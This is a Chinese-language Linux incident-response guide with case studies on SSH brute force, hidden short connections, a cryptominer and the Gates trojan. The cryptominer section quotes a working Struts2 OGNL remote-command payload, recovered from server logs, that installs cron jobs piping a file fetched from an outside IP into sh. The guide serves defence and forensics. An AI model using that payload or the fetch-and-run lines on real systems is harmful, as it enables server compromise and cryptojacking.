歡迎光臨
每天分享高質量文章

Linux 應急響應流程及實戰演練

來自:信安之路(微訊號:xazlsec)

作者:bypass(信安之路作者團隊成員 & 個人公眾號 bypass

當企業發生駭客入侵、系統崩潰或其它影響業務正常執行的安全事件時,急需第一時間進行處理,使企業的網路資訊系統在最短時間內恢復正常工作,進一步查詢入侵來源,還原入侵事故過程,同時給出解決方案與防範措施,為企業輓回或減少經濟損失。  

針對常見的攻擊事件,結合工作中應急響應事件分析和解決的方法,總結了一些 Linux 伺服器入侵排查的思路。

0x01 入侵排查思路

一、賬號安全

基本使用:

1、使用者資訊檔案 /etc/passwd

root:x:0:0:root:/root:/bin/bash

account:password:UID:GID:GECOS:directory:shell

使用者名稱:密碼:使用者ID:組ID:使用者說明:家目錄:登陸之後shell

註意:無密碼只允許本機登陸,遠端不允許登陸

2、影子檔案 /etc/shadow

root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::

使用者名稱:加密密碼:密碼最後一次修改日期:兩次密碼的修改時間間隔:密碼有效期:密碼修改到期到的警告天數:密碼過期之後的寬限天數:賬號失效時間:保留

3、幾個常用命令:

who     檢視當前登入使用者(tty 本地登陸  pts 遠端登入)

w       檢視系統資訊,想知道某一時刻使用者的行為

uptime  檢視登陸多久、多少使用者,負載

入侵排查:

1、查詢特權使用者特權使用者(uid 為 0)

[root@localhost ~]# awk -F: ‘$3==0{print $1}’ /etc/passwd

2、查詢可以遠端登入的帳號資訊

[root@localhost ~]# awk ‘/$1|$6/{print $1}’ /etc/shadow

3、除 root 帳號外,其他帳號是否存在 sudo 許可權。如非管理需要,普通帳號應刪除 sudo 許可權

[root@localhost ~]# more /etc/sudoers | grep -v “^#|^$” | grep “ALL=(ALL)”

4、禁用或刪除多餘及可疑的帳號

usermod -L user    禁用帳號,帳號無法登入,/etc/shadow 第二欄為 ! 開頭

userdel user       刪除 user 使用者

userdel -r user    將刪除user使用者,並且將/home目錄下的user目錄一併刪除

二、歷史命令

基本使用:

透過 .bash_history 檢視帳號執行過的系統命令

1、root 的歷史命令

histroy

2、開啟 /home 各帳號目錄下的 .bash_history,檢視普通帳號的歷史命令

為歷史的命令增加登入的IP地址、執行命令時間等資訊:

1)儲存 1 萬條命令

sed -i ‘s/^HISTSIZE=1000/HISTSIZE=10000/g’ /etc/profile

2)在 /etc/profile 的檔案尾部新增如下行數配置資訊:

######jiagu history xianshi#########

USER_IP=who-uam i 2>/dev/null | awk'{print $NF}'sed-e's/[()]//g'

if"$USER_IP"=""]

then

USER_IP=hostname

fi

exportHISTTIMEFORMAT="%F %T $USER_IPwhoami "

shopt-shistappend

exportPROMPT_COMMAND="history -a"

######### jiagu history xianshi ##########

3)source /etc/profile 讓配置生效

生成效果:

1  2018-07-10 19:45:39 192.168.204.1 root source /etc/profile

3、歷史操作命令的清除:history -c

但此命令並不會清除儲存在檔案中的記錄,因此需要手動刪除 .bash_profile 檔案中的記錄。

入侵排查:

進入使用者目錄下:

cat .bash_history >> history.txt

三、埠

使用 netstat 網路連線命令,分析可疑埠、IP、PID

netstat -antlp|more

檢視下pid所對應的行程檔案路徑,

執行 ls -l /proc/$PID/exefile /proc/$PID/exe($PID 為對應的 pid 號)

四、行程

使用 ps 命令,分析行程

ps aux | grep pid

五、開機啟動項

基本使用:

系統執行級別示意圖:

檢視執行級別命令

runlevel  

系統預設允許級別

vi  /etc/inittab

id=3:initdefault  系統開機後直接進入哪個執行級別

開機啟動配置檔案

/etc/rc.local

/etc/rc.d/rc[0~6].d

例子:當我們需要開機啟動自己的指令碼時,只需要將可執行指令碼丟在 /etc/init.d 目錄下,然後在 /etc/rc.d/rc*.d 中建立軟連結即可

root@localhost ~]# ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh

此處 sshd 是具體服務的指令碼檔案,S100ssh 是其軟連結,S 開頭代表載入時自啟動;如果是 K 開頭的指令碼檔案,代表執行級別載入時需要關閉的。

入侵排查:

啟動項檔案:

more /etc/rc.local

/etc/rc.d/rc[0~6].d

ls -l /etc/rc.d/rc3.d/

六、定時任務

基本使用

1、利用 crontab 建立計劃任務

crontab -l   列出某個使用者 cron 服務的詳細內容

Tips:預設編寫的 crontab 檔案會儲存在 ( /var/spool/cron/使用者名稱 例如: /var/spool/cron/root

crontab -r   刪除每個使用者 cront 任務(謹慎:刪除所有的計劃任務)

crontab -e   使用編輯器編輯當前的 crontab 檔案

如:*/1 * * * * echo "hello world" >> /tmp/test.txt 每分鐘寫入檔案

2、利用 anacron 實現非同步定時任務排程

每天執行 /home/backup.sh 指令碼:

vi /etc/anacrontab

@daily    10    example.daily   /bin/bash /home/backup.sh

當機器在 backup.sh 期望被執行時是關機的,anacron 會在機器開機十分鐘之後執行它,而不用再等待 7 天。

入侵排查

重點關註以下目錄中是否存在惡意指令碼

/var/spool/cron/*

/etc/crontab

/etc/cron.d/*

/etc/cron.daily/*

/etc/cron.hourly/*

/etc/cron.monthly/*

/etc/cron.weekly/

/etc/anacrontab

/var/spool/anacron/*

小技巧:

more /etc/cron.daily/*  檢視目錄下所有檔案

七、服務

服務自啟動

第一種修改方法:

chkconfig [–level 執行級別][獨立服務名][on|off]

chkconfig –level  2345 httpd on  開啟自啟動

chkconfig httpd on (預設 level 是 2345)

第二種修改方法:

修改 /etc/re.d/rc.local 檔案  

加入 /etc/init.d/httpd start

第三種修改方法:

使用 ntsysv 命令管理自啟動,可以管理獨立服務和 xinetd 服務。

入侵排查

1、查詢已安裝的服務:

RPM 包安裝的服務:

chkconfig  --list  檢視服務自啟動狀態,可以看到所有的RPM包安裝的服務

ps aux | grep crond 檢視當前服務

系統在 3 與 5 級別下的啟動項

中文環境

chkconfig –list | grep “3:啟用|5:啟用”

英文環境

chkconfig –list | grep “3:on|5:on”

原始碼包安裝的服務

檢視服務安裝位置 ,一般是在 /user/local/

service httpd start

搜尋 /etc/rc.d/init.d/  檢視是否存在

八、系統日誌

日誌預設存放位置:/var/log/

檢視日誌配置情況:more /etc/rsyslog.conf

日誌分析技巧:

1、定位有多少IP在爆破主機的 root 帳號:

grep “Failed password for root” /var/log/secure | awk ‘{print $11}’ | sort | uniq -c | sort -nr | more

定位有哪些 IP 在爆破:

grep “Failed password” /var/log/secure|grep -E -o “(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)”|uniq -c

爆破使用者名稱字典是什麼?

grep “Failed password” /var/log/secure|perl -e ‘while($_=<>){ /for(.*?) from/; print “$1
“;}’|uniq -c|sort -nr

2、登入成功的 IP 有哪些:

grep “Accepted ” /var/log/secure | awk ‘{print $11}’ | sort | uniq -c | sort -nr | more

登入成功的日期、使用者名稱、IP:

grep “Accepted ” /var/log/secure | awk ‘{print $1,$2,$3,$9,$11}’

3、增加一個使用者 kali 日誌:

Jul1000:12:15localhostuseradd[2382]newgroupname=kaliGID=1001
Jul1000:12:15localhostuseradd[2382]newusername=kaliUID=1001GID=1001home=/home/kali
shell=/bin/bash
Jul1000:12:58localhostpasswdpam_unix(passwd:chauthtok)passwordchangedforkali
#grep"useradd"/var/log/secure

4、刪除使用者kali日誌:

Jul1000:14:17localhostuserdel[2393]deleteuser'kali'
Jul1000:14:17localhostuserdel[2393]removedgroup'kaliownedby'kali'
Jul1000:14:17localhostuserdel[2393]removedshadowgroup'kaliownedby'kali'
#grep"userdel"/var/log/secure

5、su 切換使用者:

Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)

sudo 授權執行:

sudo -lJul 10 00:43:09 localhost sudo:    good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now

0x02 工具篇

一、Rootkit 查殺

chkrootkit :

http://www.chkrootkit.org

使用方法:

wgetftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar zxvf chkrootkit.tar.gz
cdchkrootkit-0.52
makesense
#編譯完成沒有報錯的話執行檢查
./chkrootkit
rkhunter

http://rkhunter.sourceforge.net

使用方法:

Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
tar -zxvfrkhunter-1.4.4.tar.gz
cdrkhunter-1.4.4
./installer.sh --install
rkhunter -c

二、病毒查殺

Clamav

ClamAV 的官方下載地址為:

http://www.clamav.net/download.html

安裝方式一:

1、安裝 zlib:

wgethttp://nchc.dl.sourceforge.net/project/libpng/zlib/1.2.7/zlib-1.2.7.tar.gz 
tar -zxvfzlib-1.2.7.tar.gz
cdzlib-1.2.7
#安裝一下gcc編譯環境: yum install gcc
CFLAGS="-O3 -fPIC"./configure --prefix=/usr/local/zlib/
make&& makeinstall

2、新增使用者組 clamav 和組成員 clamav:

groupadd clamav
useradd -gclamav -s/bin/false -c"Clam AntiVirus"clamav

3、安裝 Clamav

tar –zxvf clamav-0.97.6.tar.gz
cdclamav-0.97.6
./configure --prefix=/opt/clamav --disable-clamav-with-zlib=/usr/local/zlib
make
makeinstall

4、配置 Clamav

mkdir/opt/clamav/logs
mkdir/opt/clamav/updata
touch/opt/clamav/logs/freshclam.log
touch/opt/clamav/logs/clamd.log
cd/opt/clamav/logs
chownclamav:clamav clamd.log
chownclamav:clamav freshclam.log

5、ClamAV 使用:

/opt/clamav/bin/freshclam 升級病毒庫

./clamscan –h 檢視相應的幫助資訊

./clamscan -r /home  掃描所有使用者的主目錄就使用

./clamscan -r --bell -i /bin  掃描 bin 目錄並且顯示有問題的檔案的掃描結果

安裝方式二:

#安裝
yum install -yclamav

#更新病毒庫
freshclam

#掃描方法
clamscan -r/etc --max-dir-recursion=5-l/root/etcclamav.log
clamscan -r/bin --max-dir-recursion=5-l/root/binclamav.log
clamscan -r/usr --max-dir-recursion=5-l/root/usrclamav.log

#掃描並防毒
clamscan -r --remove/usr/bin/bsd-port
clamscan -r --remove/usr/bin/
clamscan -r--remove/usr/local/zabbix/sbin

#檢視日誌發現
cat/root/usrclamav.log |grep FOUND

三、webshell 查殺

linux 版:

河馬 webshell 查殺:

http://www.shellpub.com

深信服 Webshell 網站後門檢測工具:

http://edr.sangfor.com.cn/backdoor_detection.html

四、RPM check 檢查

系統完整性可以透過 rpm 自帶的 -Va 來校驗檢查所有的 rpm 軟體包,檢視哪些命令是否被替換了:

./rpm -Va > rpm.log

如果一切均校驗正常將不會產生任何輸出,如果有不一致的地方,就會顯示出來,輸出格式是 8 位長字串,每個字元都用以表示檔案與 RPM 資料庫中一種屬性的比較結果 ,如果是. (點) 則表示測試透過。

驗證內容中的 8 個資訊的具體內容如下:

S檔案大小是否改變

M檔案的型別或檔案的許可權(rwx)是否被改變

5檔案 MD5 校驗是否改變(可以看成檔案內容是否改變)

D裝置中,從程式碼是否改變

L檔案路徑是否改變

U檔案的屬主(所有者)是否改變

G檔案的屬組是否改變

T檔案的修改時間是否改變

如果命令被替換了,如果還原回來:

檔案提取還原案例:

rpm  -qf /bin/ls  查詢ls命令屬於哪個軟體包

mv  /bin/ls /tmp  先把 ls 轉移到 tmp 目錄下,造成 ls 命令丟失的假象

rpm2cpio /mnt/cdrom/Packages/coreutils-8.4-19.el6.i686.rpm | cpio -idv ./bin/ls 提取 rpm 包中 ls 命令到當前目錄的 /bin/ls

cp /root/bin/ls  /bin/ 把 ls 命令複製到 /bin/ 目錄 修複檔案丟失

0x03 應急響應實戰之 SSH 暴力破解

SSH 是目前較可靠,專為遠端登入會話和其他網路服務提供安全性的協議,主要用於給遠端登入會話資料進行加密,保證資料傳輸的安全。SSH 口令長度太短或者複雜度不夠,如僅包含數字,或僅包含字母等,容易被攻擊者破解,一旦被攻擊者獲取,可用來直接登入系統,控制伺服器所有許可權。

應急場景

某天,網站管理員登入伺服器進行巡檢時,發現埠連線裡存在兩條可疑的連線記錄,如下圖:

1、TCP 初始化連線三次握手吧:發 SYN 包,然後傳回 SYN/ACK 包,再發 ACK 包,連線正式建立。但是這裡有點出入,當請求者收到 SYS/ACK 包後,就開始建立連線了,而被請求者第三次握手結束後才建立連線。

2、客戶端 TCP 狀態遷移:

CLOSED->SYN_SENT->ESTABLISHED->FIN_WAIT_1->FIN_WAIT_2->TIME_WAIT->CLOSED

伺服器 TCP 狀態遷移:

CLOSED->LISTEN->SYN recv->ESTABLISHED->CLOSE_WAIT->LAST_ACK->CLOSED

3、當客戶端開始連線時,伺服器還處於 LISTENING,客戶端發一個 SYN 包後,服務端接收到了客戶端的 SYN 並且發送了 ACK 時,伺服器處於 SYN_RECV 狀態,然後並沒有再次收到客戶端的 ACK 進入 ESTABLISHED 狀態,一直停留在 SYN_RECV 狀態。

在這裡,SSH(22)埠,兩條外網 IP 的 SYN_RECV 狀態連線,直覺告訴了管理員,這裡一定有什麼異常。

日誌分析

SSH 埠異常,我們首先有必要先來瞭解一下系統賬號情況:

A、系統賬號情況

1、除 root 之外,是否還有其它特權使用者 (uid  為 0)

[root@localhost ~]# awk -F: ‘$3==0{print $1}’ /etc/passwd

root

2、可以遠端登入的帳號資訊

[root@localhost ~]# awk ‘/$1|$6/{print $1}’ /etc/shadow

root:$6$38cKfZDjsTiUe58V$FP.UHWMObqeUQS1Z2KRj/4EEcOPi.6d1XmKHgK3j3GY9EGvwwBei7nUbbqJC./qK12HN8jFuXOfEYIKLID6hq0::0:99999:7:::

我們可以確認目前系統只有一個管理使用者 root。

接下來,我們想到的是 /var/log/secure,這個日誌檔案記錄了驗證和授權方面的資訊,只要涉及賬號和密碼的程式都會記錄下來。

B、確認攻擊情況:

1、統計了下日誌,發現大約有 126254 次登入失敗的記錄,確認伺服器遭受暴力破解

[root@localhost ~]# grep -o “Failed password” /var/log/secure|uniq -c

    126254 Failed password

2、輸出登入爆破的第一行和最後一行,確認爆破時間範圍:

[root@localhost ~]# grep “Failed password” /var/log/secure|head -1

Jul  8 20:14:59 localhost sshd[14323]: Failed password for invalid user qwe from 111.13.xxx.xxx port 1503 ssh2

[root@localhost ~]# grep “Failed password” /var/log/secure|tail -1

Jul 10 12:37:21 localhost sshd[2654]: Failed password for root from 111.13.xxx.xxx port 13068 ssh2

3、進一步定位有哪些 IP 在爆破?

[root@localhost ~]# grep “Failed password” /var/log/secure|grep -E -o “(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)”|uniq -c | sort -nr

   12622 23.91.xxx.xxx     8942 114.104.xxx.xxx     8122 111.13.xxx.xxx     7525 123.59.xxx.xxx     ……………….

4、爆破使用者名稱字典都有哪些?

[root@localhost ~]# grep “Failed password” /var/log/secure|perl -e ‘while($_=<>){ /for(.*?) from/; print “$1
“;}’|uniq -c|sort -nr

     9402  root      3265  invalid user oracle      1245  invalid user admin      1025  invalid user user      …………………

C、管理員最近登入情況:

1、登入成功的日期、使用者名稱、IP:

[root@localhost ~]# grep “Accepted ” /var/log/secure | awk ‘{print $1,$2,$3,$9,$11}’

Jul 9 09:38:09 root 192.168.143.100Jul 9 14:55:51 root 192.168.143.100Jul 10 08:54:26 root 192.168.143.100Jul 10 16:25:59 root 192.168.143.100……………………….

透過登入日誌分析,並未發現異常登入時間和登入IP。

2、順便統計一下登入成功的 IP 有哪些:

[root@localhost ~]# grep “Accepted ” /var/log/secure | awk ‘{print $11}’ | sort | uniq -c | sort -nr | more

    27 192.168.204.1

透過日誌分析,發現攻擊者使用了大量的使用者名稱進行暴力破解,但從近段時間的系統管理員登入記錄來看,並未發現異常登入的情況,需要進一步對網站伺服器進行入侵排查,這裡就不再闡述。

處理措施

SSH暴力破解依然十分普遍,如何保護伺服器不受暴力破解攻擊,總結了幾種措施:

1、禁止向公網開放管理埠,若必須開放應限定管理 IP 地址並加強口令安全審計(口令長度不低於 8 位,由數字、大小寫字母、特殊字元等至少兩種以上組合構成)。

2、更改伺服器 ssh 預設埠。

3、部署入侵檢測裝置,增強安全防護。

0x04 應急響應實戰之短連線

短連線(short connnection)是相對於長連線而言的概念,指的是在資料傳送過程中,只在需要傳送資料時,才去建立一個連線,資料傳送完成後,則斷開此連線,即每次連線只完成一項業務的傳送。 在系統維護中,一般很難去察覺,需要藉助網路安全裝置或者抓包分析,才能夠去發現。

應急場景

某天,網路管理員在出口 WAF 檢測到某臺伺服器不斷向香港I發起請求 ,感覺很奇怪,登入伺服器排查,想要找到發起短連線的行程。

日誌分析

登入伺服器檢視埠、行程,並未發現發現伺服器異常,但是當多次掃清埠連線時,可以檢視該連線。 有時候一直刷這條命令好十幾次才會出現,像這種的短連線極難捕捉到對應的行程和源檔案。

手動捕捉估計沒戲,很難追蹤,於是動手寫了一段小指令碼來捕捉短連線對應的pid和源檔案。

指令碼檔案如下:

#!/bin/bash

ip=118.184.15.40

i=1

while:

do

  tmp=netstat -anplt|grep $ip|awk -F'[/]''{print $1}'|awk '{print $7}'

  #echo $tmp

  iftest -z"$tmp"

  then

      ((i=i+1)) 

  else

      forpid in$tmpdo
   
          echo"PID: "${pid}
   
         result=`ls -lh /proc/$pid|grep exe`
   
         echo"Process: "${result}
   
         kill-9$pid
   
      done
   
      break

  fi

done

echo"Total number of times: "${i}

執行結果如下:

跑了三次指令碼,可以發現短連線每次發起的行程 Pid 一直在變,但已經捕捉到發起該異常連線的行程源檔案為 /usr/lib/nfsiod

小結

本文簡單介紹了短連線以及捕捉短連線源檔案的技巧,站在安全管理員的角度,應加強對網路安全裝置的管理,在網路層去發現更多在系統層很難察覺的安全威脅。

0x05 應急響應實戰之挖礦病毒

隨著虛擬貨幣的瘋狂炒作,利用挖礦指令碼來實現流量變現,使得挖礦病毒成為不法分子利用最為頻繁的攻擊方式。新的挖礦攻擊展現出了類似蠕蟲的行為,並結合了高階攻擊技術,以增加對標的伺服器感染的成功率,透過利用永恆之藍(EternalBlue)、web 攻擊多種漏洞(如 Tomcat 弱口令攻擊、Weblogic WLS 元件漏洞、Jboss 反序列化漏洞、Struts2 遠端命令執行等),導致大量伺服器被感染挖礦程式的現象 。

應急場景

某天,安全管理員在登入安全裝置巡檢時,發現某臺網站伺服器持續向境外IP發起連線,下載病毒源:

事件分析

A、排查過程

登入伺服器,檢視系統行程狀態,發現不規則命名的異常行程、異常下載行程 :

下載 logo.jpg,包含指令碼內容如下:

到這裡,我們可以發現攻擊者下載 logo.jpg 並執行了裡面了 shell 指令碼,那這個指令碼是如何啟動的呢?

透過排查系統開機啟動項、定時任務、服務等,在定時任務裡面,發現了惡意指令碼,每隔一段時間發起請求下載病毒源,並執行 。

B、溯源分析

在 Tomcat log 日誌中,我們找到這樣一條記錄:

對日誌中攻擊原始碼進行摘錄如下:

{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh
*/19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh" | crontab -;wget -O - -q http://5.188.87.11/icons/logo.jpg|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

可以發現攻擊程式碼中的操作與定時任務中異常指令碼一致,據此推斷駭客透過 Struct 遠端命令執行漏洞向伺服器定時任務中寫入惡意指令碼並執行。

C、清除病毒

1、刪除定時任務:

2、終止異常行程:

D、漏洞修複

升級 struts 到最新版本

防範措施

針對伺服器被感染挖礦程式的現象,總結了幾種預防措施:

1、安裝安全軟體並升級病毒庫,定期全盤掃描,保持實時防護

2、及時更新 Windows 安全補丁,開啟防火牆臨時關閉埠

3、及時更新 web漏洞補丁,升級web元件

0x06 應急響應實戰之蓋茨木馬

Linux 蓋茨木馬是一類有著豐富歷史,隱藏手法巧妙,網路攻擊行為顯著的 DDoS 木馬,主要惡意特點是具備了後門程式,DDoS 攻擊的能力,並且會替換常用的系統檔案進行偽裝。木馬得名於其在變數函式的命名中,大量使用 Gates 這個單詞。分析和清除蓋茨木馬的過程,可以發現有很多值得去學習和借鑒的地方。

應急場景

某天,網站管理員發現伺服器 CPU 資源異常,幾個異常行程佔用大量網路頻寬:

事件分析

異常 IP連線:

異常行程:

檢視進行發現 ps aux 行程異常,進入該目錄發現多個命令,猜測命令可能已被替換

登入伺服器,檢視系統行程狀態,發現不規則命名的異常行程、異常下載行程 :

異常啟動項

進入rc3.d目錄可以發現多個異常進行:

/etc/rc.d/rc3.d/S97DbSecuritySpt

/etc/rc.d/rc3.d/S99selinux

搜尋病毒原體

find / -size -1223124c -size +1223122c -exec ls -id {} ;   搜尋 1223123 大小的檔案

從以上種種行為發現該病毒與“蓋茨木馬”有點類似,具體技術分析細節詳見:

Linux平臺“蓋茨木馬”分析

http://www.freebuf.com/articles/system/117823.html

懸鏡伺服器衛士丨Linux平臺“蓋茨木馬”分析

http://www.sohu.com/a/117926079_515168

手動清除木馬過程:

1、簡單判斷有無木馬

#有無下列檔案

cat/etc/rc.d/init.d/selinux

cat/etc/rc.d/init.d/DbSecuritySpt

ls/usr/bin/bsd-port

ls/usr/bin/dpkgd

#檢視大小是否正常

ls-lh/bin/netstat

ls-lh/bin/ps

ls-lh/usr/sbin/lsof

ls-lh/usr/sbin/ss

2、上傳如下命令到 /root 下

ps netstat ss lsof

3、刪除如下目錄及檔案

rm-rf/usr/bin/dpkgd (ps netstat lsof ss)

rm-rf/usr/bin/bsd-port     #木馬程式

rm-f/usr/bin/.sshd         #木馬後門

rm-f/tmp/gates.lod

rm-f/tmp/moni.lod

rm-f/etc/rc.d/init.d/DbSecuritySpt(啟動上述描述的那些木馬變種程式)

rm-f/etc/rc.d/rc1.d/S97DbSecuritySpt

rm-f/etc/rc.d/rc2.d/S97DbSecuritySpt

rm-f/etc/rc.d/rc3.d/S97DbSecuritySpt

rm-f/etc/rc.d/rc4.d/S97DbSecuritySpt

rm-f/etc/rc.d/rc5.d/S97DbSecuritySpt

rm-f/etc/rc.d/init.d/selinux(預設是啟動/usr/bin/bsd-port/getty)

rm-f/etc/rc.d/rc1.d/S99selinux

rm-f/etc/rc.d/rc2.d/S99selinux

rm-f/etc/rc.d/rc3.d/S99selinux

rm-f/etc/rc.d/rc4.d/S99selinux

rm-f/etc/rc.d/rc5.d/S99selinux

4、找出異常程式並殺死

5、刪除含木馬命令並重新安裝

命令替換

RPM check 檢查:

系統完整性也可以透過 rpm 自帶的 -Va 來校驗檢查所有的 rpm 軟體包,有哪些被篡改了,防止 rpm 也被替換,上傳一個安全乾凈穩定版本 rpm 二進位制到伺服器上進行檢查

./rpm -Va > rpm.log

如果一切均校驗正常將不會產生任何輸出。如果有不一致的地方,就會顯示出來。輸出格式是8位長字串, c 用以指配置檔案, 接著是檔案名. 8 位字元的每一個 用以表示檔案與 RPM 資料庫中一種屬性的比較結果 。. (點) 表示測試透過。.下麵的字元表示對 RPM 軟體包進行的某種測試失敗:

命令替換:

rpm2cpio 包全名 |  cpio -idv .檔案絕對路徑   rpm 包中檔案提取

Rpm2cpio  將 rpm 包轉換為 cpio 格式的命令

Cpio 是一個標準工具,它用於建立軟體檔案檔案和從檔案檔案中提取檔案

Cpio 選項 < [檔案|裝置]

-i:copy-in 樣式,還原-d:還原時自動新建目錄-v:顯示還原過程

檔案提取還原案例:

查詢ls命令屬於哪個軟體包

rpm  -qf /bin/ls  

mv  /bin/ls /tmp  

提取rpm包中ls命令到當前目錄的 /bin/ls 下:

rpm2cpio /mnt/cdrom/Packages/coreutils-8.4-19.el6.i686.rpm | cpio -idv ./bin/ls

把 ls 命令複製到 /bin/ 目錄 修複檔案丟失:

cp /root/bin/ls  /bin/

掛載命令 rpm 包:

mkdir  /mnt/chrom/  建立掛載點

mount -t iso9660 /dev/cdrom  /mnt/cdrom/  掛在光碟

mount/dev/sr0 /mnt/cdrom/

解除安裝命令

umount  裝置檔案名或掛載點

umount /mnt/cdrom/

參考連結:

https://www.zhihu.com/question/33964391

http://www.freebuf.com/articles/system/11424.html

https://help.aliyun.com/knowledge_detail/37479.html?spm=a2c4g.11186623.4.1.W0eomj

https://cloud.tencent.com/document/product/296/9604


編號733,輸入編號直達本文

●輸入m獲取文章目錄

推薦↓↓↓

Linux學習

更多推薦25個技術類微信公眾號

涵蓋:程式人生、演演算法與資料結構、駭客技術與網路安全、大資料技術、前端開發、Java、Python、Web開發、安卓開發、iOS開發、C/C++、.NET、Linux、資料庫、運維等。

贊(0)

分享創造快樂